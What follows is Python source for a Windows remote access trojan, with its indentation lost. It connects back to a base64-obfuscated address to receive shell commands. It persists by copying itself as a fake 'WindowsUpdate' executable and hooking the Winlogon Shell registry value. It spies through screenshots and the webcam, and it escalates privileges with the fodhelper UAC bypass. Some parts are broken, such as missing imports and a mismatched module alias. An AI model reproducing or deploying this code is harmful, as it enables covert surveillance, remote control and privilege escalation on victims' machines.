Загрузка данных
import socket
import subprocess
import os
import base64
import time, random
import pyautogui
import cv2
import sys
import winreg as reg
import shutil
time.sleep(random.randint(1, 5))
ip = base64.b64decode("MTI3LjAuMC4x").decode()
def fsociety():
def connect():
global s
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 2306))
return s
except ConnectionRefusedError:
time.sleep(random.randint(5, 10))
connect()
def hide():
path = os.path.realpath(sys.argv[0])
target_dir = os.path.join(os.environ['APPDATA'], "WindowsUpdate")
if not os.path.exists(target_dir):
os.makedirs(target_dir)
target_path = os.path.join(target_dir, "update.exe")
shutil.copy2(path, target_path)
key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows NT\CurrentVersion\Winlogon", 0, reg.KEY_ALL_ACCESS)
val, _ = reg.QueryValueEx(key, "Shell")
if target_path not in val:
new_val = f"{val}, {target_path}"
reg.SetValueEx(key, "Shell", 0, reg.REG_SZ, new_val)
reg.CloseKey(key)
hide()
while True:
try:
server = s.recv(1024).decode()
real_command = base64.b64decode(server).decode()
except Exception:
connect()
try:
if not real_command:
continue
if real_command.startswith('cd '):
os.chdir(real_command[3:])
s.send(base64.b64encode(b"Changed directory"))
elif real_command == 'screenshot':
img = pyautogui.screenshot('screen.png')
with open('screen.png', 'rb') as binary_img:
bin_img = binary_img.read()
encoded_data = base64.b64encode(bin_img).decode() + 'DONE_SCREENSHOT'
s.send(encoded_data.encode())
os.remove('screen.png')
elif real_command == 'webcam':
cap = cv2.VideoCapture(1, cv2.CAP_DSHOW)
if cap.isOpened():
cap.set(3, 1280)
cap.set(4, 720)
ret, frame = cap.read()
if ret:
cv2.imwrite('webcam.png', frame)
cap.release()
with open('webcam.png', 'rb') as binary_web:
bin_web = binary_web.read()
encoded_weeb = base64.b64encode(bin_web).decode() + 'DONE_WEBCAM'
s.send(encoded_weeb.encode())
os.remove('webcam.png')
else:
s.send(subprocess.check_output(real_command, shell=True))
except:
s.send(b'Error ')
CMD = "os.path.abspath(sys.argv[0])"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
def is_running_as_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def create_reg_key(key, value):
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def bypass_uac(cmd):
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
except WindowsError:
raise
def execute():
if not is_running_as_admin():
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
fsociety()
if __name__ == '__main__':
execute()